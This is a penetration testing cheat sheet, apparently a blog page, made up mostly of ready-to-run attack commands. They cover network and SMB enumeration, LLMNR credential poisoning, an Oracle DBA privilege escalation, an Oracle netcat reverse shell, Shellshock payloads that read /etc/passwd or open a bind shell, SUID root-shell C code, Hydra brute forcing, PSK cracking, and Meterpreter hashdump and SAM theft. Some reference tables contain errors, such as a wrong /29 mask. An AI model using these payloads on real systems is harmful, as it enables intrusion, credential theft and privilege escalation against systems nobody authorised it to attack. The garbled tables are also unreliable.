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Penetration Testing Tools Cheat Sheet ∞

CHEAT-SHEET 17 Feb 2017 Arr0way

Introduction
Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements.
Designed as a quick reference cheat sheet providing a high level overview of the typical commands you would run when
performing a penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen
testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not
covered here apart from a few sqlmap commands at the end and some web server enumeration.

Changelog
17/02/2017 - Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.

Pre-engagement Table of Contents

Introduction
Network Configuration Changelog
Set IP Address Pre-engagement
Network Configuration
Set IP Address
Subnetting
OSINT
Passive Information Gathering
DNS
WHOIS enumeration
Perform DNS IP Lookup
Perform MX Record Lookup
Perform Zone Transfer with DIG
DNS Zone Transfers
Email
Simply Email
Semi Active Information Gathering
Basic Finger Printing
Banner grabbing with NC
Active Information Gathering

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 DNS Bruteforce
DNSRecon
Port Scanning
Nmap Commands
Nmap UDP Scanning
UDP Protocol Scanner
Other Host Discovery
Enumeration & Attacking Network Services
SAMB / SMB / Windows Domain Enumeration
Samba Enumeration
SMB Enumeration Tools
Fingerprint SMB Version
Find open SMB Shares
Enumerate SMB Users
Manual Null session testing:
NBTScan unixwiz
LLMNR / NBT-NS Spoofing
Metasploit LLMNR / NetBIOS requests
Responder.py
SNMP Enumeration
SNMPv3 Enumeration
R Services Enumeration
RSH Enumeration
RSH Run Commands
Metasploit RSH Login Scanner
rusers Show Logged in Users
rusers scan whole Subnet
Finger Enumeration
Finger a Specific Username
Solaris bug that shows all logged in users:
rwho
TLS & SSL Testing
testssl.sh
Vulnerability Assessment
Database Penetration Testing
Oracle
Fingerprint Oracle TNS Version
Brute force oracle user accounts
Oracle Privilege Escalation
Identify default accounts within oracle db using NMAP NSE scripts:
How to identify the current privilege level for an oracle user:
Oracle priv esc and obtain DBA access:
Run the exploit with a select query:

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 Remove the exploit using:
Get Oracle Reverse os-shell:
MSSQL
Bruteforce MSSQL Login
Metasploit MSSQL Shell
Network
Plink.exe Tunnel
Pivoting
SSH Pivoting
Meterpreter Pivoting
TTL Finger Printing
IPv4 Cheat Sheets
Classful IP Ranges
IPv4 Private Address Ranges
IPv4 Subnet Cheat Sheet
VLAN Hopping
VPN Hacking
IKEForce
IKE Aggressive Mode PSK Cracking
Step 1: Idenitfy IKE Servers
Step 2: Enumerate group name with IKEForce
Step 3: Use ike-scan to capture the PSK hash
Step 4: Use psk-crack to crack the PSK hash
PPTP Hacking
NMAP PPTP Fingerprint:
PPTP Dictionary Attack
DNS Tunneling
Attacking Machine
BOF / Exploit
Exploit Research
Searching for Exploits
Compiling Windows Exploits on Kali
Cross Compiling Exploits
Exploiting Common Vulnerabilities
Exploiting Shellshock
cat file (view file contents)
Shell Shock run bind shell
Shell Shock reverse Shell
Simple Local Web Servers
Mounting File Shares
HTTP / HTTPS Webserver Enumeration
Packet Inspection

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Username Enumeration
SMB User Enumeration
SNMP User Enumeration
Passwords
Wordlists
Brute Forcing Services
Hydra FTP Brute Force
Hydra POP3 Brute Force
Hydra SMTP Brute Force
Password Cracking
John The Ripper - JTR
Windows Penetration Testing Commands
Linux Penetration Testing Commands
Compiling Exploits
Identifying if C code is for Windows or Linux
Build Exploit GCC
GCC Compile 32Bit Exploit on 64Bit Kali
Compile Windows .exe on Linux
SUID Binary
SUID C Shell for /bin/bash
SUID C Shell for /bin/sh
Building the SUID Shell binary
Reverse Shells
TTY Shells
Python TTY Shell Trick
Spawn Interactive sh shell
Spawn Perl TTY Shell
Spawn Ruby TTY Shell
Spawn Lua TTY Shell
Spawn TTY Shell from Vi
Spawn TTY Shell NMAP
Metasploit
Meterpreter Payloads
Windows reverse meterpreter payload
Windows VNC Meterpreter payload
Linux Reverse Meterpreter payload
Meterpreter Cheat Sheet
Common Metasploit Modules
Remote Windows Metasploit Modules (exploits)
Local Windows Metasploit Modules (exploits)
Auxilary Metasploit Modules
Metasploit Powershell Modules

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 Post Exploit Windows Metasploit Modules
ASCII Table Cheat Sheet
CISCO IOS Commands
Cryptography
Hash Lengths
Hash Examples
SQLMap Examples

ifconfig eth0 xxx.xxx.xxx.xxx/24

Subnetting

ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0

OSINT
Passive Information Gathering
DNS
WHOIS enumeration

whois domain-name-here.com

Perform DNS IP Lookup

dig a domain-name-here.com @nameserver

Perform MX Record Lookup

dig mx domain-name-here.com @nameserver

Perform Zone Transfer with DIG

dig axfr domain-name-here.com @nameserver

DNS Zone Transfers

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 COMMAND DESCRIPTION

nslookup -> set type=any -> ls -d blah.com Windows DNS zone transfer

dig axfr blah.com @ns1.blah.com Linux DNS zone transfer

Email
Simply Email
Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long
throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.

git clone https://github.com/killswitch-GUI/SimplyEmail.git

./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering

Basic Finger Printing
Manual finger printing / banner grabbing.

COMMAND DESCRIPTION

nc -v 192.168.1.1 25
Basic versioning / finger printing via displayed banner
telnet 192.168.1.1 25

Banner grabbing with NC

nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

Active Information Gathering

DNS Bruteforce
DNSRecon

DNS Enumeration Kali - DNSRecon

root:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Port Scanning
Nmap Commands

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 For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:

COMMAND DESCRIPTION

Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service
nmap -v -sS -A -T4 target
version info, traceroute and scripts against services

nmap -v -sS -p--A -T4 target As above but scans all TCP ports (takes a lot longer)

nmap -v -sU -sS -p- -A -T4 target As above but scans all TCP ports and UDP scan (takes even longer)

nmap -v -p 445 --script=smb-check-vulns Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause
--script-args=unsafe=1 192.168.1.X knockover

ls /usr/share/nmap/scripts/* | grep ftp Search nmap scripts for keywords

Nmap UDP Scanning

nmap -sU TARGET

UDP Protocol Scanner

git clone https://github.com/portcullislabs/udp-proto-scanner.git

Scan a file of IP addresses for all services:

./udp-protocol-scanner.pl -f ip.txt

Scan for a specific UDP service:

udp-proto-scanner.pl -p ntp -f ips.txt

Other Host Discovery

Other methods of host discovery, that don’t use nmap…

COMMAND DESCRIPTION

Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming
netdiscover -r 192.168.1.0/24
you're on the right VLAN at $client site

Enumeration & Attacking Network Services

Tools that will spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

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 Samba Enumeration
SMB Enumeration Tools

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Also see, nbtscan cheat sheet (right hand menu).

COMMAND DESCRIPTION

Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and
nbtscan 192.168.1.0/24
discover client workgroup / domain

Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based
enum4linux -a target-ip
share name guessing

Fingerprint SMB Version

smbclient -L //192.168.1.100

Find open SMB Shares

nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24

Enumerate SMB Users

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254

python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Metasploit module for RID cycling:

use auxiliary/scanner/smb/smb_lookupsid

Manual Null session testing:

Windows:

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 net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131

NBTScan unixwiz
Install on Kali rolling:

apt-get install nbtscan-unixwiz

nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing

Steal credentials off the network.
Metasploit LLMNR / NetBIOS requests
Spoof / poison LLMNR / NetBIOS requests:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Capture the hashes:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

You’ll end up with NTLMv2 hash, use john or hashcat to crack it.
Responder.py
Alternatively you can use responder.

git clone https://github.com/SpiderLabs/Responder.git

python Responder.py -i local-ip -I eth0

Run Responder.py for the whole engagement

Run Responder.py for the length of the engagement while you're working on other attack vectors.

SNMP Enumeration
Fix SNMP output values so they are human readable:

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 apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf

COMMAND DESCRIPTION

snmpcheck -t 192.168.1.X -c public

snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f SNMP enumeration
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts

SNMPv3 Enumeration
Idenitfy SNMPv3 servers with nmap:

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader

wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

Use Metasploits Wordlist

Metasploit's wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler's SecLists project on GitHub
(not the mailing list!).

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

R Services Enumeration
This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual
confirmation:
RSH Enumeration
RSH Run Commands

rsh <target> <command>

Metasploit RSH Login Scanner

auxiliary/scanner/rservices/rsh_login

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rusers Show Logged in Users

rusers -al 192.168.2.1

rusers scan whole Subnet

rlogin -l <user> <target>

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration

finger @TARGET-IP

Finger a Specific Username

finger batman@TARGET-IP

Solaris bug that shows all logged in users:

finger 0@host

SunOS: RPC services allow user enum:

$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost

rwho
Use nmap to identify machines running rwhod (513 UDP)

TLS & SSL Testing

testssl.sh
Test all the things on a single host and output to a .html file:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

Vulnerability Assessment
Install OpenVAS 8 on Kali Rolling:

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 apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

Verify openvas is running using:

netstat -tulpn

Login at https://127.0.0.1:9392 - credentials are generated during openvas-setup.

Database Penetration Testing

Attacking database servers exposed on the network.

Oracle
Install oscanner:

apt-get install oscanner

Run oscanner:

oscanner -s 192.168.1.200 -P 1521

Fingerprint Oracle TNS Version

Install tnscmd10g:

apt-get install tnscmd10g

Fingerprint oracle tns:

tnscmd10g version -h TARGET

nmap --script=oracle-tns-version

Brute force oracle user accounts

Identify default Oracle accounts:

nmap --script=oracle-sid-brute
nmap --script=oracle-brute

Run nmap scripts against Oracle TNS:

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 nmap -p 1521 -A TARGET

Oracle Privilege Escalation

Requirements:
Oracle needs to be exposed on the network
A default account is in use like scott
Quick overview of how this works:

1. Create the function

2. Create an index on table SYS.DUAL
3. The index we just created executes our function SCOTT.DBA_X
4. The function will be executed by SYS user (as that’s the user that owns the table).
5. Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.
Identify default accounts within oracle db using NMAP NSE scripts:

nmap --script=oracle-sid-brute
nmap --script=oracle-brute

Login using the identified weak account (assuming you find one).
How to identify the current privilege level for an oracle user:

SQL> select * from session_privs;

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;

Oracle priv esc and obtain DBA access:

Run netcat: netcat -nvlp 443 code>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));

Run the exploit with a select query:

SQL> Select * from session_privs;

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You should have a DBA user with creds user1 and pass1.
Verify you have DBA privileges by re-running the first command again.
Remove the exploit using:

drop index exploit_1337;

Get Oracle Reverse os-shell:

begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;

MSSQL
Enumeration / Discovery:
Nmap:

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Metasploit:

msf > use auxiliary/scanner/mssql/mssql_ping

Use MS SQL Servers Browse For More

Try using "Browse for More" via MS SQL Server Management Studio

Bruteforce MSSQL Login

msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell

msf > use exploit/windows/mssql/mssql_payload

msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

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 Network
Plink.exe Tunnel
PuTTY Link tunnel
Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

Pivoting
SSH Pivoting

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

Add socks4 127.0.0.1 1011 in /etc/proxychains.conf

Meterpreter Pivoting

TTL Finger Printing

OPERATING SYSTEM TTL SIZE

Windows 128

Linux 64

Solaris 255

Cisco / Network 255

IPv4 Cheat Sheets

Classful IP Ranges
E.g Class A,B,C (depreciated)

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 CLASS IP ADDRESS RANGE

Class A IP Address Range 0.0.0.0 - 127.255.255.255

Class B IP Address Range 128.0.0.0 - 191.255.255.255

Class C IP Address Range 192.0.0.0 - 223.255.255.255

Class D IP Address Range 224.0.0.0 - 239.255.255.255

Class E IP Address Range 240.0.0.0 - 255.255.255.255

IPv4 Private Address Ranges

CLASS RANGE

Class A Private Address Range 10.0.0.0 - 10.255.255.255

Class B Private Address Range 172.16.0.0 - 172.31.255.255

Class C Private Address Range 192.168.0.0 - 192.168.255.255

127.0.0.0 - 127.255.255.255

IPv4 Subnet Cheat Sheet

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 CIDR DECIMAL MASK NUMBER OF HOSTS

/31 255.255.255.254 1 Host

/30 255.255.255.252 2 Hosts

/29 255.255.255.249 6 Hosts

/28 255.255.255.240 14 Hosts

/27 255.255.255.224 30 Hosts

/26 255.255.255.192 62 Hosts

/25 255.255.255.128 126 Hosts

/24 255.255.255.0 254 Hosts

/23 255.255.254.0 512 Host

/22 255.255.252.0 1022 Hosts

/21 255.255.248.0 2046 Hosts

/20 255.255.240.0 4094 Hosts

/19 255.255.224.0 8190 Hosts

/18 255.255.192.0 16382 Hosts

/17 255.255.128.0 32766 Hosts

/16 255.255.0.0 65534 Hosts

/15 255.254.0.0 131070 Hosts

/14 255.252.0.0 262142 Hosts

/13 255.248.0.0 524286 Hosts

/12 255.240.0.0 1048674 Hosts

/11 255.224.0.0 2097150 Hosts

/10 255.192.0.0 4194302 Hosts

/9 255.128.0.0 8388606 Hosts

/8 255.0.0.0 16777214 Hosts

VLAN Hopping
Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

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 git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh

VPN Hacking
Identify VPN servers:

./udp-protocol-scanner.pl -p ike TARGET(s)

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

IKEForce
Use IKEForce to enumerate or dictionary attack VPN servers.
Install:

pip install pyip

git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking

1. Identify VPN Servers
2. Enumerate with IKEForce to obtain the group ID
3. Use ike-scan to capture the PSK hash from the IKE endpoint
4. Use psk-crack to crack the hash
Step 1: Idenitfy IKE Servers

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 ./udp-protocol-scanner.pl -p ike SUBNET/24

Step 2: Enumerate group name with IKEForce

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Step 3: Use ike-scan to capture the PSK hash

ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

Step 4: Use psk-crack to crack the PSK hash

psk-crack hash-file.txt

Some more advanced psk-crack options below:

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking
Identifying PPTP, it listens on TCP: 1723
NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S)

PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS Tunneling
Tunneling data over DNS to bypass firewalls.
dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.
Attacking Machine
Installtion:

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 wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit)

gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock
A tool to find and exploit servers vulnerable to Shellshock:

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

cat file (view file contents)

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET

Shell Shock run bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc

Shell Shock reverse Shell

nc -l -p 443

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

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 COMMAND DESCRIPTION

python -m SimpleHTTPServer 80 Run a basic http server, great for serving up shells etc

python3 -m http.server Run a basic Python3 http server, great for serving up shells etc

ruby -rwebrick -e "WEBrick::HTTPServer.new

Run a ruby webrick basic http server
(:Port => 80, :DocumentRoot => Dir.pwd).start"

php -S 0.0.0.0:80 Run a basic PHP http server

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

COMMAND DESCRIPTION

mount 192.168.1.1:/vol/share /mnt/nfs Mount NFS share to /mnt/nfs

mount -t cifs -o username=user,password=pass Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password
,domain=blah //192.168.1.X/share-name /mnt/cifs it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password
Mount a Windows share on Windows from the command line
/user:domain\janedoe /savecred /p:no

apt-get install smb4k -y Install smb4k on Kali, useful Linux GUI for browsing SMB shares

HTTP / HTTPS Webserver Enumeration

COMMAND DESCRIPTION

nikto -h 192.168.1.1 Perform a nikto scan against target

dirbuster Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

COMMAND DESCRIPTION

tcpdump tcp port 80 -w output.pcap -i eth0 tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration
Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

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 COMMAND DESCRIPTION

python /usr/share/doc/python-impacket-doc/examples
Enumerate users from SMB
/samrdump.py 192.168.XXX.XXX

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID cycle SMB / enumerate users from SMB

SNMP User Enumeration

COMMAND DESCRIPTION

snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25

Enmerate users from SNMP
|cut -d” “ -f4

python /usr/share/doc/python-impacket-doc/examples/
Enmerate users from SNMP
samrdump.py SNMP 192.168.X.XXX

nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt

Search for SNMP servers with nmap, grepable output
(then grep)

Passwords
Wordlists

COMMAND DESCRIPTION

/usr/share/wordlists Kali word lists

Brute Forcing Services

Hydra FTP Brute Force

COMMAND DESCRIPTION

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f

Hydra FTP brute force
192.168.X.XXX ftp -V

Hydra POP3 Brute Force

COMMAND DESCRIPTION

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f

Hydra POP3 brute force
192.168.X.XXX pop3 -V

Hydra SMTP Brute Force

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 COMMAND DESCRIPTION

hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V Hydra SMTP brute force

Use -t to limit concurrent connections, example: -t 15

Password Cracking
John The Ripper - JTR

COMMAND DESCRIPTION

john --wordlist=/usr/share/wordlists/rockyou.txt hashes JTR password cracking

john --format=descrypt --wordlist

JTR forced descrypt cracking with wordlist
/usr/share/wordlists/rockyou.txt hash.txt

john --format=descrypt hash --show JTR forced descrypt brute force cracking

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system
enumeration.

Compiling Exploits
Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

COMMAND DESCRIPTION

process.h, string.h, winbase.h, windows.h, winsock2.h Windows exploit code

arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,

Linux exploit code
sys/sockt.h, sys/types.h, unistd.h

Build Exploit GCC

Compile exploit gcc.

COMMAND DESCRIPTION

gcc -o exploit exploit.c Basic GCC compile

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 GCC Compile 32Bit Exploit on 64Bit Kali
Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

COMMAND DESCRIPTION

gcc -m32 exploit.c -o exploit Cross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

COMMAND DESCRIPTION

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe Compile windows .exe on Linux

SUID Binary
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.
below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}

SUID C Shell for /bin/sh

int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}

Building the SUID Shell binary

gcc -o suid suid.c

For 32 bit:

gcc -m32 -o suid suid.c

Reverse Shells
See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells

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 Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit
Some basic Metasploit stuff, that I have found handy for reference.
Basic Metasploit commands, useful for reference, for pivoting see - Meterpreter Pivoting techniques.

Meterpreter Payloads
Windows reverse meterpreter payload

COMMAND DESCRIPTION

set payload windows/meterpreter/reverse_tcp Windows reverse tcp payload

Windows VNC Meterpreter payload

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 COMMAND DESCRIPTION

set payload windows/vncinject/reverse_tcp

Meterpreter Windows VNC Payload
set ViewOnly false

Linux Reverse Meterpreter payload

COMMAND DESCRIPTION

set payload linux/meterpreter/reverse_tcp Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

COMMAND DESCRIPTION

upload file c:\\windows Meterpreter upload file to Windows target

download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target

download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target

execute -f c:\\windows\temp\exploit.exe Meterpreter run .exe on target - handy for executing uploaded exploits

execute -f cmd -c Creates new channel with cmd shell

ps Meterpreter show processes

shell Meterpreter get shell on the target

getsystem Meterpreter attempts priviledge escalation the target

hashdump Meterpreter attempts to dump the hashes on the target

portfwd add –l 3389 –p 3389 –r target Meterpreter create port forward to target machine

portfwd delete –l 3389 –p 3389 –r target Meterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

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 COMMAND DESCRIPTION

use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k, XP, 2003 Remote Exploit

use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit

use exploit/windows/smb/
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit
ms09_050_smb2_negotiate_func_index

Local Windows Metasploit Modules (exploits)

COMMAND DESCRIPTION

use exploit/windows/local/bypassuac Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

COMMAND DESCRIPTION

use auxiliary/scanner/http/dir_scanner Metasploit HTTP directory scanner

use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS vulnerability scanner

use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL Credential Scanner

use auxiliary/scanner/mysql/mysql_version Metasploit MSSQL Version Scanner

use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module

Metasploit Powershell Modules

COMMAND DESCRIPTION

use exploit/multi/script/web_delivery Metasploit powershell payload delivery module

post/windows/manage/powershell/exec_powershell Metasploit upload and run powershell script through a session

use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy

use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

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 COMMAND DESCRIPTION

run post/windows/gather/win_privs Metasploit show privileges of current user

use post/windows/gather/credentials/gpp Metasploit grab GPP saved passwords

load mimikatz -> wdigest Metasplit load Mimikatz

Idenitfy other machines that the supplied domain user has administrative
run post/windows/gather/local_admin_search_enum
access to

run post/windows/gather/smart_hashdump Automated dumping of sam file, tries to esc privileges etc

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCII CHARACTER

x00 Null Byte

x08 BS

x09 TAB

x0a LF

x0d CR

x1b ESC

x20 SPC

x21 !

x22 "

x23 #

x24 $

x25 %

x26 &

x27 `

x28 (

x29 )

x2a *

x2b +

x2c ,

x2d -
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x2d -

x2e .

x2f /

x30 0

x31 1

x32 2

x33 3

x34 4

x35 5

x36 6

x37 7

x38 8

x39 9

x3a :

x3b ;

x3c <

x3d =

x3e >

x3f ?

x40 @

x41 A

x42 B

x43 C

x44 D

x45 E

x46 F

x47 G

x48 H

x49 I

x4a J

x4b K

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x4c L

x4d M

x4e N

x4f O

x50 P

x51 Q

x52 R

x53 S

x54 T

x55 U

x56 V

x57 W

x58 X

x59 Y

x5a Z

x5b [

x5c \

x5d ]

x5e ^

x5f _

x60 `

x61 a

x62 b

x63 c

x64 d

x65 e

x66 f

x67 g

x68 h

x69 i

x6a j
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x6a j

x6b k

x6c l

x6d m

x6e n

x6f o

x70 p

x71 q

x72 r

x73 s

x74 t

x75 u

x76 v

x77 w

x78 x

x79 y

x7a z

CISCO IOS Commands

A collection of useful Cisco IOS commands.

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 COMMAND DESCRIPTION

enable Enters enable mode

conf t Short for, configure terminal

(config)# interface fa0/0 Configure FastEthernet 0/0

(config-if)# ip addr 0.0.0.0 255.255.255.255 Add ip to fa0/0

(config-if)# ip addr 0.0.0.0 255.255.255.255 Add ip to fa0/0

(config-if)# line vty 0 4 Configure vty line

(config-line)# login Cisco set telnet password

(config-line)# password YOUR-PASSWORD Set telnet password

# show running-config Show running config loaded in memory

# show startup-config Show sartup config

# show version show cisco IOS version

# show session display open sessions

# show ip interface Show network interfaces

# show interface e0 Show detailed interface info

# show ip route Show routes

# show access-lists Show access lists

# dir file systems Show available files

# dir all-filesystems File information

# dir /all SHow deleted files

# terminal length 0 No limit on terminal output

# copy running-config tftp Copys running config to tftp server

# copy running-config startup-config Copy startup-config to running-config

Cryptography
Hash Lengths

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 HASH SIZE

MD5 Hash Length 16 Bytes

SHA-1 Hash Length 20 Bytes

SHA-256 Hash Length 32 Bytes

SHA-512 Hash Length 64 Bytes

Hash Examples
Likely just use hash-identifier for this but here are some example hashes:

HASH EXAMPLE

MD5 Hash Example 8743b52063cd84097a65d1633f5c74f5

